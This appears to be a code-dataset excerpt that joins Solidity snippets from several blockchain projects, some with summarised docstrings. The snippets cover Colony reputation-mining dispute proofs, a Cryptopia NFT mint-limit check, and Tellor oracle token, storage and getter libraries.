require(u[U_PREVIOUS_NEW_REPUTATION_UID] + 1 == _disagreeStateReputationUID, "colony-reputation-mining-new-uid-incorrect");
emit ProveUIDSuccess(u[U_PREVIOUS_NEW_REPUTATION_UID], _disagreeStateReputationUID, false);
}
}
function proveValue(
uint256[29] memory u,
int256 _agreeStateReputationValue,
int256 _disagreeStateReputationValue
) internal
{
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
int256 userOriginReputationValue = int256(u[U_USER_ORIGIN_REPUTATION_VALUE]);
// We don't care about underflows for the purposes of comparison, but for the calculation we deem 'correct'.
// i.e. a reputation can't be negative.
if (u[U_DECAY_TRANSITION] == 1) {
require(uint256(_disagreeStateReputationValue) == (uint256(_agreeStateReputationValue)*DECAY_NUMERATOR)/DECAY_DENOMINATOR, "colony-reputation-mining-decay-incorrect");
} else {
if (logEntry.amount >= 0) {
// Don't allow reputation to overflow
if (_agreeStateReputationValue + logEntry.amount >= MAX_INT128) {
require(_disagreeStateReputationValue == MAX_INT128, "colony-reputation-mining-reputation-not-max-int128");
} else {
require(_agreeStateReputationValue + logEntry.amount == _disagreeStateReputationValue, "colony-reputation-mining-increased-reputation-value-incorrect");
}
} else {
// We are working with a negative amount, which needs to be treated differently for child updates and everything else
// Child reputations do not lose the whole of logEntry.amount, but the same fraction logEntry amount is
// of the user's reputation in skill given by logEntry.skillId, i.e. the "origin skill"
// Check if we are working with a child reputation update
uint256 relativeUpdateNumber = getRelativeUpdateNumber(u, logEntry);
uint256 nChildUpdates;
(nChildUpdates, ) = getChildAndParentNUpdatesForLogEntry(u);
int256 reputationChange;
// Skip origin reputation checks for anything but child reputation updates
if (relativeUpdateNumber % (logEntry.nUpdates/2) < nChildUpdates) {
int256 userChildReputationValue;
if (relativeUpdateNumber < nChildUpdates) {
u[U_GLOBAL_CHILD_UPDATE] = 1;
userChildReputationValue = int256(u[U_CHILD_REPUTATION_VALUE]);
} else {
userChildReputationValue = int256(u[U_AGREE_STATE_REPUTATION_VALUE]);
}
int256 childReputationChange;
if (userOriginReputationValue == 0) {
// If the origin reputation value is 0, the change is 0
reputationChange = 0;
} else {
// Calculate the proportional change expected
childReputationChange = logEntry.amount * userChildReputationValue / userOriginReputationValue;
// Cap change based on current value of the user's child reputation.
if (userChildReputationValue + childReputationChange < 0) {
reputationChange = userChildReputationValue * -1;
} else {
reputationChange = childReputationChange;
}
}
} else {
// Cap change based on origin reputation value
// Note we are not worried about underflows here; colony-wide totals for origin skill and all parents are greater than or equal to a user's origin skill.
// If we're subtracting the origin reputation value, we therefore can't underflow, and if we're subtracting the logEntryAmount, it was absolutely smaller than
// the origin reputation value, and so can't underflow either.
if (userOriginReputationValue + logEntry.amount < 0) {
reputationChange = -1 * userOriginReputationValue;
} else {
reputationChange = logEntry.amount;
}
}
require(_agreeStateReputationValue + reputationChange == _disagreeStateReputationValue, "colony-reputation-mining-decreased-reputation-value-incorrect");
}
}
emit ProveValueSuccess(_agreeStateReputationValue, _disagreeStateReputationValue, userOriginReputationValue);
}
// Get the update number relative in the context of the log entry currently considered
// e.g. for log entry with 6 updates, the relative update number range is [0 .. 5] (inclusive)
function getRelativeUpdateNumber(uint256[29] memory u, ReputationLogEntry memory logEntry) internal view returns (uint256) {
uint256 nNodes = IColonyNetwork(colonyNetworkAddress).getReputationRootHashNNodes();
uint256 updateNumber = sub(sub(disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound, 1), nNodes);
// Check that the supplied log entry corresponds to this update number
require(updateNumber >= logEntry.nPreviousUpdates, "colony-reputation-mining-update-number-part-of-previous-log-entry-updates");
require(
updateNumber < logEntry.nUpdates + logEntry.nPreviousUpdates,
"colony-reputation-mining-update-number-part-of-following-log-entry-updates");
uint256 relativeUpdateNumber = updateNumber - logEntry.nPreviousUpdates;
return relativeUpdateNumber;
}
function getChildAndParentNUpdatesForLogEntry(uint256[29] memory u) internal view returns (uint128, uint128) {
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
uint128 nParents = IColonyNetwork(colonyNetworkAddress).getSkill(logEntry.skillId).nParents;
uint128 nChildUpdates;
if (logEntry.amount < 0) {
nChildUpdates = logEntry.nUpdates/2 - 1 - nParents;
// NB This is not necessarily the same as nChildren. However, this is the number of child updates
// that this entry in the log was expecting at the time it was created
}
return (nChildUpdates, nParents);
}
function checkPreviousReputationInState(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32[] memory previousNewReputationSiblings
) internal view
{
// We binary searched to the first disagreement, so the last agreement is the one before
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory previousNewReputationValue = abi.encodePacked(u[U_PREVIOUS_NEW_REPUTATION_VALUE], u[U_PREVIOUS_NEW_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_PREVIOUS_NEW_REPUTATION_KEY_HASH],
previousNewReputationValue,
u[U_PREVIOUS_NEW_REPUTATION_BRANCH_MASK],
previousNewReputationSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
require(impliedRoot == submission.jrh, "colony-reputation-mining-last-state-disagreement");
}
function checkKeyHashesAdjacent(bytes32 hash1, bytes32 hash2, uint256 branchMask) internal pure returns (bool) {
// The bit that would be added to the branchmask is based on where the (hashes of the) two keys first differ.
uint256 firstDifferenceBit = uint256(Bits.highestBitSet(uint256(hash1 ^ hash2)));
uint256 afterInsertionBranchMask = branchMask | uint256(2**firstDifferenceBit);
// If key1 and key2 both exist in a tree, there will already be a branch at the first difference bit,
// and so the branchmask will be unchanged.
return afterInsertionBranchMask != branchMask;
}
function checkUserOriginReputationInState(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32 userOriginReputationKeyHash,
bytes32[] memory userOriginReputationStateSiblings
) internal view
{
// We binary searched to the first disagreement, so the last agreement is the one before
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory userOriginReputationValueBytes = abi.encodePacked(u[U_USER_ORIGIN_REPUTATION_VALUE], u[U_USER_ORIGIN_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
userOriginReputationKeyHash,
userOriginReputationValueBytes,
u[U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK],
userOriginReputationStateSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
if (impliedRoot == submission.jrh) {
// They successfully proved the user origin value is in the lastAgreeState, so we're done here
return;
}
require(u[U_USER_ORIGIN_REPUTATION_VALUE] == 0, "colony-reputation-mining-origin-reputation-nonzero");
// Otherwise, maybe the user's origin skill doesn't exist. If that's true, they can prove it.
// In which case, the proof they supplied should be for a reputation that proves the origin reputation doesn't exist in the tree
require(
checkKeyHashesAdjacent(userOriginReputationKeyHash, b32[B_ORIGIN_ADJACENT_REPUTATION_KEY_HASH], u[U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK]),
"colony-reputation-mining-adjacent-origin-not-adjacent-or-already-exists"
);
// We assume that the proof they supplied is for the origin-adjacent reputation, not the origin reputation.
// So use the key and value for the origin-adjacent reputation, but uid, branchmask and siblings that were supplied.
bytes memory userOriginAdjacentReputationValueBytes = abi.encodePacked(
u[U_USER_ORIGIN_ADJACENT_REPUTATION_VALUE],
u[U_USER_ORIGIN_REPUTATION_UID]
);
// Check that the key supplied actually exists in the tree
reputationRootHash = getImpliedRootNoHashKey(
b32[B_ORIGIN_ADJACENT_REPUTATION_KEY_HASH],
userOriginAdjacentReputationValueBytes,
u[U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK],
userOriginReputationStateSiblings
);
jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
require(impliedRoot == submission.jrh, "colony-reputation-mining-origin-adjacent-proof-invalid");
}
function checkChildReputationInState(
uint256[29] memory u,
bytes32[] memory agreeStateSiblings,
bytes memory childReputationKey,
bytes32[] memory childReputationStateSiblings,
bytes32 childAdjacentReputationKeyHash
) internal view
{
// We binary searched to the first disagreement, so the last agreement is the one before
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory childReputationValueBytes = abi.encodePacked(u[U_CHILD_REPUTATION_VALUE], u[U_CHILD_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootHashKey(
childReputationKey,
childReputationValueBytes,
u[U_CHILD_REPUTATION_BRANCH_MASK],
childReputationStateSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
if (impliedRoot == submission.jrh) {
// They successfully proved the user origin value is in the lastAgreeState, so we're done here
return;
}
require(u[U_CHILD_REPUTATION_VALUE] == 0, "colony-reputation-mining-child-reputation-nonzero");
// Otherwise, maybe the child skill doesn't exist. If that's true, they can prove it.
// In which case, the proof they supplied should be for a reputation that proves the child reputation doesn't exist in the tree
require(
checkKeyHashesAdjacent(keccak256(childReputationKey), childAdjacentReputationKeyHash, u[U_CHILD_REPUTATION_BRANCH_MASK]),
"colony-reputation-mining-adjacent-child-not-adjacent-or-already-exists"
);
// We assume that the proof they supplied is for the child-adjacent reputation, not the child reputation.
// So use the key and value for the child-adjacent reputation, but uid, branchmask and siblings that were supplied.
bytes memory childAdjacentReputationValueBytes = abi.encodePacked(u[U_CHILD_ADJACENT_REPUTATION_VALUE], u[U_CHILD_REPUTATION_UID]);
// Check that the key supplied actually exists in the tree
reputationRootHash = getImpliedRootNoHashKey(
childAdjacentReputationKeyHash,
childAdjacentReputationValueBytes,
u[U_CHILD_REPUTATION_BRANCH_MASK],
childReputationStateSiblings
);
jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
require(impliedRoot == submission.jrh, "colony-reputation-mining-child-adjacent-proof-invalid");
}
function saveProvedReputation(uint256[29] memory u) internal {
// Require that it is at least plausible
uint256 delta = disputeRounds[u[U_ROUND]][u[U_IDX]].intermediateReputationNNodes - u[U_PREVIOUS_NEW_REPUTATION_UID];
// Could be zero if this is an update to an existing reputation, or it could be 1 if we have just added a new
// reputation. Anything else is inconsistent.
// We don't care about over/underflowing, and don't want to use `sub` so that this require message is returned.
require(delta == u[U_DISAGREE_STATE_NNODES]-u[U_AGREE_STATE_NNODES], "colony-reputation-mining-proved-uid-inconsistent");
// Save the index for tiebreak scenarios later.
disputeRounds[u[U_ROUND]][u[U_IDX]].provedPreviousReputationUID = u[U_PREVIOUS_NEW_REPUTATION_UID];
}
function buildReputationKey(bytes32 colony, bytes32 skill, bytes32 user) internal pure returns (bytes memory) {
bytes memory reputationKey = new bytes(72);
assembly {
mstore(add(reputationKey, 32), shl(96, colony))
mstore(add(reputationKey, 72), user)
mstore(add(reputationKey, 52), skill)
}
return reputationKey;
}
}
|
If everthing checked out, note that we've responded to the challenge.
|
function confirmChallengeCompleted(uint256[29] memory u) internal {
disputeRounds[u[U_ROUND]][u[U_IDX]].challengeStepCompleted += 1;
disputeRounds[u[U_ROUND]][u[U_IDX]].lastResponseTimestamp = now;
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
emit ChallengeCompleted(submission.proposedNewRootHash, submission.nNodes, submission.jrh);
}
| 12,577,540
|
./full_match/5/0xB7c3cc090B75212e14e623fb6d95B131fF27C1fF/sources/project:/contracts/source/tokens/ERC721/CryptopiaEarlyAccessShip/CryptopiaEarlyAccessShipTokenFactory.sol
|
Internal Functions/ Returns if it's still possible to mint `_numberOfItemsToMint` _numberOfItemsToMint Number of items to mint return bool True if the items can be minted Enforce max token rule
|
function _canMint(uint _numberOfItemsToMint)
internal view
returns (bool)
{
return _currentTokenId <= (MAX_SUPPLY - _numberOfItemsToMint);
}
| 7,048,360
|
pragma solidity ^0.5.0;
library TellorTransfer {
using SafeMath for uint256;
event Approval(address indexed _owner, address indexed _spender, uint256 _value);//ERC20 Approval event
event Transfer(address indexed _from, address indexed _to, uint256 _value);//ERC20 Transfer Event
/*Functions*/
/**
* @dev Allows for a transfer of tokens to _to
* @param _to The address to send tokens to
* @param _amount The amount of tokens to send
* @return true if transfer is successful
*/
function transfer(TellorStorage.TellorStorageStruct storage self, address _to, uint256 _amount) public returns (bool success) {
doTransfer(self,msg.sender, _to, _amount);
return true;
}
/**
* @notice Send _amount tokens to _to from _from on the condition it
* is approved by _from
* @param _from The address holding the tokens being transferred
* @param _to The address of the recipient
* @param _amount The amount of tokens to be transferred
* @return True if the transfer was successful
*/
function transferFrom(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public returns (bool success) {
require(self.allowed[_from][msg.sender] >= _amount);
self.allowed[_from][msg.sender] -= _amount;
doTransfer(self,_from, _to, _amount);
return true;
}
/**
* @dev This function approves a _spender an _amount of tokens to use
* @param _spender address
* @param _amount amount the spender is being approved for
* @return true if spender appproved successfully
*/
function approve(TellorStorage.TellorStorageStruct storage self, address _spender, uint _amount) public returns (bool) {
require(_spender != address(0));
self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
// /**
// * @param _user address of party with the balance
// * @param _spender address of spender of parties said balance
// * @return Returns the remaining allowance of tokens granted to the _spender from the _user
// */
// function allowance(TellorStorage.TellorStorageStruct storage self,address _user, address _spender) public view returns (uint) {
// return self.allowed[_user][_spender];
// }
/**
* @dev Completes POWO transfers by updating the balances on the current block number
* @param _from address to transfer from
* @param _to addres to transfer to
* @param _amount to transfer
*/
function doTransfer(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint _amount) public {
require(_amount > 0);
require(_to != address(0));
require(allowedToTrade(self,_from,_amount)); //allowedToTrade checks the stakeAmount is removed from balance if the _user is staked
uint previousBalance = balanceOfAt(self,_from, block.number);
updateBalanceAtNow(self.balances[_from], previousBalance - _amount);
previousBalance = balanceOfAt(self,_to, block.number);
require(previousBalance + _amount >= previousBalance); // Check for overflow
updateBalanceAtNow(self.balances[_to], previousBalance + _amount);
emit Transfer(_from, _to, _amount);
}
/**
* @dev Gets balance of owner specified
* @param _user is the owner address used to look up the balance
* @return Returns the balance associated with the passed in _user
*/
function balanceOf(TellorStorage.TellorStorageStruct storage self,address _user) public view returns (uint) {
return balanceOfAt(self,_user, block.number);
}
/**
* @dev Queries the balance of _user at a specific _blockNumber
* @param _user The address from which the balance will be retrieved
* @param _blockNumber The block number when the balance is queried
* @return The balance at _blockNumber specified
*/
function balanceOfAt(TellorStorage.TellorStorageStruct storage self,address _user, uint _blockNumber) public view returns (uint) {
if ((self.balances[_user].length == 0) || (self.balances[_user][0].fromBlock > _blockNumber)) {
return 0;
}
else {
return getBalanceAt(self.balances[_user], _blockNumber);
}
}
/**
* @dev Getter for balance for owner on the specified _block number
* @param checkpoints gets the mapping for the balances[owner]
* @param _block is the block number to search the balance on
* @return the balance at the checkpoint
*/
function getBalanceAt(TellorStorage.Checkpoint[] storage checkpoints, uint _block) view public returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/**
* @dev This function returns whether or not a given user is allowed to trade a given amount
* and removing the staked amount from their balance if they are staked
* @param _user address of user
* @param _amount to check if the user can spend
* @return true if they are allowed to spend the amount being checked
*/
function allowedToTrade(TellorStorage.TellorStorageStruct storage self,address _user,uint _amount) public view returns(bool) {
if(self.stakerDetails[_user].currentStatus >0){
//Removes the stakeAmount from balance if the _user is staked
if(balanceOf(self,_user).sub(self.uintVars[keccak256("stakeAmount")]).sub(_amount) >= 0){
return true;
}
}
else if(balanceOf(self,_user).sub(_amount) >= 0){
return true;
}
return false;
}
/**
* @dev Updates balance for from and to on the current block number via doTransfer
* @param checkpoints gets the mapping for the balances[owner]
* @param _value is the new balance
*/
function updateBalanceAtNow(TellorStorage.Checkpoint[] storage checkpoints, uint _value) public {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
TellorStorage.Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
TellorStorage.Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
//Slightly modified SafeMath library - includes a min and max function, removes useless div function
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256 c) {
if (b > 0) {
c = a + b;
assert(c >= a);
} else {
c = a + b;
assert(c <= a);
}
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function max(int256 a, int256 b) internal pure returns (uint256) {
return a > b ? uint256(a) : uint256(b);
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub(int256 a, int256 b) internal pure returns (int256 c) {
if (b > 0) {
c = a - b;
assert(c <= a);
} else {
c = a - b;
assert(c >= a);
}
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* @title Tellor Oracle Storage Library
* @dev Contains all the variables/structs used by Tellor
* This test file is exactly the same as the production/mainnet file.
*/
library TellorStorage {
//Internal struct for use in proof-of-work submission
struct Details {
uint value;
address miner;
}
struct Dispute {
bytes32 hash;//unique hash of dispute: keccak256(_miner,_requestId,_timestamp)
int tally;//current tally of votes for - against measure
bool executed;//is the dispute settled
bool disputeVotePassed;//did the vote pass?
bool isPropFork; //true for fork proposal NEW
address reportedMiner; //miner who alledgedly submitted the 'bad value' will get disputeFee if dispute vote fails
address reportingParty;//miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes
address proposedForkAddress;//new fork address (if fork proposal)
mapping(bytes32 => uint) disputeUintVars;
//Each of the variables below is saved in the mapping disputeUintVars for each disputeID
//e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")]
//These are the variables saved in this mapping:
// uint keccak256("requestId");//apiID of disputed value
// uint keccak256("timestamp");//timestamp of distputed value
// uint keccak256("value"); //the value being disputed
// uint keccak256("minExecutionDate");//7 days from when dispute initialized
// uint keccak256("numberOfVotes");//the number of parties who have voted on the measure
// uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from
// uint keccak256("minerSlot"); //index in dispute array
// uint keccak256("quorum"); //quorum for dispute vote NEW
// uint keccak256("fee"); //fee paid corresponding to dispute
mapping (address => bool) voted; //mapping of address to whether or not they voted
}
struct StakeInfo {
uint currentStatus;//0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute
uint startDate; //stake start date
}
//Internal struct to allow balances to be queried by blocknumber for voting purposes
struct Checkpoint {
uint128 fromBlock;// fromBlock is the block number that the value was generated from
uint128 value;// value is the amount of tokens at a specific block number
}
struct Request {
string queryString;//id to string api
string dataSymbol;//short name for api request
bytes32 queryHash;//hash of api string and granularity e.g. keccak256(abi.encodePacked(_sapi,_granularity))
uint[] requestTimestamps; //array of all newValueTimestamps requested
mapping(bytes32 => uint) apiUintVars;
//Each of the variables below is saved in the mapping apiUintVars for each api request
//e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")]
//These are the variables saved in this mapping:
// uint keccak256("granularity"); //multiplier for miners
// uint keccak256("requestQPosition"); //index in requestQ
// uint keccak256("totalTip");//bonus portion of payout
mapping(uint => uint) minedBlockNum;//[apiId][minedTimestamp]=>block.number
mapping(uint => uint) finalValues;//This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value
mapping(uint => bool) inDispute;//checks if API id is in dispute or finalized.
mapping(uint => address[5]) minersByValue;
mapping(uint => uint[5])valuesByTimestamp;
}
struct TellorStorageStruct {
bytes32 currentChallenge; //current challenge to be solved
uint[51] requestQ; //uint50 array of the top50 requests by payment amount
uint[] newValueTimestamps; //array of all timestamps requested
Details[5] currentMiners; //This struct is for organizing the five mined values to find the median
mapping(bytes32 => address) addressVars;
//Address fields in the Tellor contract are saved the addressVars mapping
//e.g. addressVars[keccak256("tellorContract")] = address
//These are the variables saved in this mapping:
// address keccak256("tellorContract");//Tellor address
// address keccak256("_owner");//Tellor Owner address
// address keccak256("_deity");//Tellor Owner that can do things at will
mapping(bytes32 => uint) uintVars;
//uint fields in the Tellor contract are saved the uintVars mapping
//e.g. uintVars[keccak256("decimals")] = uint
//These are the variables saved in this mapping:
// keccak256("decimals"); //18 decimal standard ERC20
// keccak256("disputeFee");//cost to dispute a mined value
// keccak256("disputeCount");//totalHistoricalDisputes
// keccak256("total_supply"); //total_supply of the token in circulation
// keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcode it in...or should it be variable?)
// keccak256("stakerCount"); //number of parties currently staked
// keccak256("timeOfLastNewValue"); // time of last challenge solved
// keccak256("difficulty"); // Difficulty of current block
// keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool
// keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id
// keccak256("requestCount"); // total number of requests through the system
// keccak256("slotProgress");//Number of miners who have mined this value so far
// keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value
// keccak256("timeTarget"); //The time between blocks (mined Oracle values)
mapping(bytes32 => mapping(address=>bool)) minersByChallenge;//This is a boolean that tells you if a given challenge has been completed by a given miner
mapping(uint => uint) requestIdByTimestamp;//minedTimestamp to apiId
mapping(uint => uint) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId
mapping(uint => Dispute) disputesById;//disputeId=> Dispute details
mapping (address => Checkpoint[]) balances; //balances of a party given blocks
mapping(address => mapping (address => uint)) allowed; //allowance for a given party and approver
mapping(address => StakeInfo) stakerDetails;//mapping from a persons address to their staking info
mapping(uint => Request) requestDetails;//mapping of apiID to details
mapping(bytes32 => uint) requestIdByQueryHash;// api bytes32 gets an id = to count of requests array
mapping(bytes32 => uint) disputeIdByDisputeHash;//maps a hash to an ID for each dispute
}
}
//Functions for retrieving min and Max in 51 length array (requestQ)
//Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol
library Utilities{
/**
* @dev Returns the minimum value in an array.
*/
function getMax(uint[51] memory data) internal pure returns(uint256 max,uint256 maxIndex) {
max = data[1];
maxIndex;
for(uint i=1;i < data.length;i++){
if(data[i] > max){
max = data[i];
maxIndex = i;
}
}
}
/**
* @dev Returns the minimum value in an array.
*/
function getMin(uint[51] memory data) internal pure returns(uint256 min,uint256 minIndex) {
minIndex = data.length - 1;
min = data[minIndex];
for(uint i = data.length-1;i > 0;i--) {
if(data[i] < min) {
min = data[i];
minIndex = i;
}
}
}
}
/**
***********************************TEST LIBRARY***************************************
* @title Tellor Getters Library
* @dev This is the test getter library for all variables in the Tellor Tributes system. TellorGetters references this
* libary for the getters logic.
* Many of the functions have been commented out for simplicity.
*/
library TellorGettersLibrary{
using SafeMath for uint256;
event NewTellorAddress(address _newTellor); //emmited when a proposed fork is voted true
/*Functions*/
//The next two functions are onlyOwner functions. For Tellor to be truly decentralized, we will need to transfer the Deity to the 0 address.
//Only needs to be in library
/**
* @dev This function allows us to set a new Deity (or remove it)
* @param _newDeity address of the new Deity of the tellor system
*/
function changeDeity(TellorStorage.TellorStorageStruct storage self, address _newDeity) internal{
require(self.addressVars[keccak256("_deity")] == msg.sender);
self.addressVars[keccak256("_deity")] =_newDeity;
}
//Only needs to be in library
/**
* @dev This function allows the deity to upgrade the Tellor System
* @param _tellorContract address of new updated TellorCore contract
*/
function changeTellorContract(TellorStorage.TellorStorageStruct storage self,address _tellorContract) internal{
require(self.addressVars[keccak256("_deity")] == msg.sender);
self.addressVars[keccak256("tellorContract")]= _tellorContract;
emit NewTellorAddress(_tellorContract);
}
// /*Tellor Getters*/
// /**
// * @dev This function tells you if a given challenge has been completed by a given miner
// * @param _challenge the challenge to search for
// * @param _miner address that you want to know if they solved the challenge
// * @return true if the _miner address provided solved the
// */
// function didMine(TellorStorage.TellorStorageStruct storage self, bytes32 _challenge,address _miner) internal view returns(bool){
// return self.minersByChallenge[_challenge][_miner];
// }
// /**
// * @dev Checks if an address voted in a dispute
// * @param _disputeId to look up
// * @param _address of voting party to look up
// * @return bool of whether or not party voted
// */
// function didVote(TellorStorage.TellorStorageStruct storage self,uint _disputeId, address _address) internal view returns(bool){
// return self.disputesById[_disputeId].voted[_address];
// }
// /**
// * @dev allows Tellor to read data from the addressVars mapping
// * @param _data is the keccak256("variable_name") of the variable that is being accessed.
// * These are examples of how the variables are saved within other functions:
// * addressVars[keccak256("_owner")]
// * addressVars[keccak256("tellorContract")]
// */
// function getAddressVars(TellorStorage.TellorStorageStruct storage self, bytes32 _data) view internal returns(address){
// return self.addressVars[_data];
// }
// *
// * @dev Gets all dispute variables
// * @param _disputeId to look up
// * @return bytes32 hash of dispute
// * @return bool executed where true if it has been voted on
// * @return bool disputeVotePassed
// * @return bool isPropFork true if the dispute is a proposed fork
// * @return address of reportedMiner
// * @return address of reportingParty
// * @return address of proposedForkAddress
// * @return uint of requestId
// * @return uint of timestamp
// * @return uint of value
// * @return uint of minExecutionDate
// * @return uint of numberOfVotes
// * @return uint of blocknumber
// * @return uint of minerSlot
// * @return uint of quorum
// * @return uint of fee
// * @return int count of the current tally
// function getAllDisputeVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId) internal view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){
// TellorStorage.Dispute storage disp = self.disputesById[_disputeId];
// return(disp.hash,disp.executed, disp.disputeVotePassed, disp.isPropFork, disp.reportedMiner, disp.reportingParty,disp.proposedForkAddress,[disp.disputeUintVars[keccak256("requestId")], disp.disputeUintVars[keccak256("timestamp")], disp.disputeUintVars[keccak256("value")], disp.disputeUintVars[keccak256("minExecutionDate")], disp.disputeUintVars[keccak256("numberOfVotes")], disp.disputeUintVars[keccak256("blockNumber")], disp.disputeUintVars[keccak256("minerSlot")], disp.disputeUintVars[keccak256("quorum")],disp.disputeUintVars[keccak256("fee")]],disp.tally);
// }
// /**
// * @dev Getter function for variables for the requestId being currently mined(currentRequestId)
// * @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request
// */
// function getCurrentVariables(TellorStorage.TellorStorageStruct storage self) internal view returns(bytes32, uint, uint,string memory,uint,uint){
// return (self.currentChallenge,self.uintVars[keccak256("currentRequestId")],self.uintVars[keccak256("difficulty")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].queryString,self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("granularity")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("totalTip")]);
// }
// /**
// * @dev Checks if a given hash of miner,requestId has been disputed
// * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId));
// * @return uint disputeId
// */
// function getDisputeIdByDisputeHash(TellorStorage.TellorStorageStruct storage self,bytes32 _hash) internal view returns(uint){
// return self.disputeIdByDisputeHash[_hash];
// }
// /*
// * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId
// * @param _disputeId is the dispute id;
// * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
// * the variables/strings used to save the data in the mapping. The variables names are
// * commented out under the disputeUintVars under the Dispute struct
// * @return uint value for the bytes32 data submitted
// */
